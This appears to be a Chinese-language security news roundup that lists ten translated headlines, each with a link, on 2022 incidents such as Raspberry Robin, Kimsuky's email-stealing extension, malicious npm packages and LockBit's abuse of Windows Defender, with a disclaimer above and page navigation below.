免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、微软发现USB蠕虫攻击"Raspberry Robin"与"EvilCorp"存在联系 https://www.securityweek.com/microsoft-connects-usb-worm-attacks-evilcorp-ransomware-gang 2、朝鲜APT组织Kimsuky利用恶意浏览器扩展从目标邮箱中窃取数据 https://www.securityweek.com/n-korean-apt-uses-browser-extension-steal-emails-foreign-policy-nuclear-targets 3、OneTouchPoint 披露了影响 30 多家医疗保健公司的数据泄露 https://www.securityweek.com/onetouchpoint-discloses-data-breach-impacting-over-30-healthcare-firms 4、绰号 Adrastea的黑客组织声称已经入侵了欧洲导弹制造商 MBDA https://securityaffairs.co/wordpress/133881/data-breach/mbda-alleged-data-breach.html 5、恶意 Npm 包针对 Discord 用户窃取令牌和银行卡信息 https://threatpost.com/malicious-npm-discord/180327/ 6、大华网络摄像头漏洞可能让攻击者完全控制设备 https://thehackernews.com/2022/07/dahua-ip-camera-vulnerability-could-let.html 7、研究人员警告黑客使用去中心化IPFS网络进行攻击 https://thehackernews.com/2022/07/researchers-warns-of-increase-in.html 8、CISA警告Confluence硬编码凭据漏洞被积极利用 https://thehackernews.com/2022/07/cisa-warns-of-atlassian-confluence-hard.html 9、LockBit勒索软件利用Windows Defender逃避检测 https://www.bleepingcomputer.com/news/security/lockbit-ransomware-abuses-windows-defender-to-load-cobalt-strike/ 10、GitHub Actions工作流漏洞可能导致命令执行 https://portswigger.net/daily-swig/github-actions-workflow-flaws-provided-write-access-to-projects-including-logstash
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页